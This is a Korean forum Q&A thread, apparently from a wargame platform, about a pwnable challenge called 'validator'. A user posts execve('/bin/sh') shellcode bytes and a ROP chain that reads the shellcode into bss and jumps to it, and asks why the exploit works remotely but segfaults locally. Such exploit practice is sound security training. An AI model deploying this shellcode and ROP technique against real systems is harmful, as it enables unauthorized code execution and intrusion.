이 문제에서 validator_server는 풀이와 어떤 관련이 있나요?

validator_server와는 어떤 관계가 있는지요? 앞서 질문드린 local에서는 동작 안 하는데 server에서는 동작하는 질문에서 local에서 validator_server를 동작시키지 않았는데 이와 어떤 관련이 있는지 질문드려요

#pwnable
작성자 정보
답변 2
avatar
Dreamhack
대표 업적 없음

안녕하세요,
말씀하신대로 validator_dist와 validator_server 가 모두 실행 되는 것이 아닙니다. (이전 답변은 착각하여 그런 것이니 잊어주시면 됩니다..)
remote server에서 동작하는 바이너리는 validator_server 입니다.
감사합니다.

2022.05.10. 10:55
anous
대표 업적 없음

네, 감사합니다. 그렇다면 다시 질문으로 돌아가서 server에서는 예상한대로 shell을 얻는것을 성공했는데 왜 로컬에서는 동작을 안 하는 것일까요?


bss영역에 shellcode를 넣고 마지막에 bss주소로 띄게 하여 shellcode를 획득했습니다.
그런데 서버에 시도했을 때에는 바로 성공하는데, local에서는 계속 SIGSEGV가 납니다.

이것때문에 계속 안 되는줄 알고 삽질했는데, 혹이 이게 왜 그런것일지요?
[*] Process ‘./validator_dist’ stopped with exit code -11 (SIGSEGV) (pid 23803)

스택 검사하는 부분은 건너띄고, 아래 payload를 보냈습니다.

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

bss = 0x000000000060104b

payload += p64(pop_rdi)
payload += p64(0)   # rdi
payload += p64(pop_rsi_r15)
payload += p64(bss) + p64(0)  # rsi, r15
payload += p64(pop_rdx)
payload += p64(len(shellcode))
payload += p64(read_plt)

payload += p64(bss)

p.send(payload)
pause()
p.send(shellcode)
p.interactive()
2022.05.10. 11:29
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기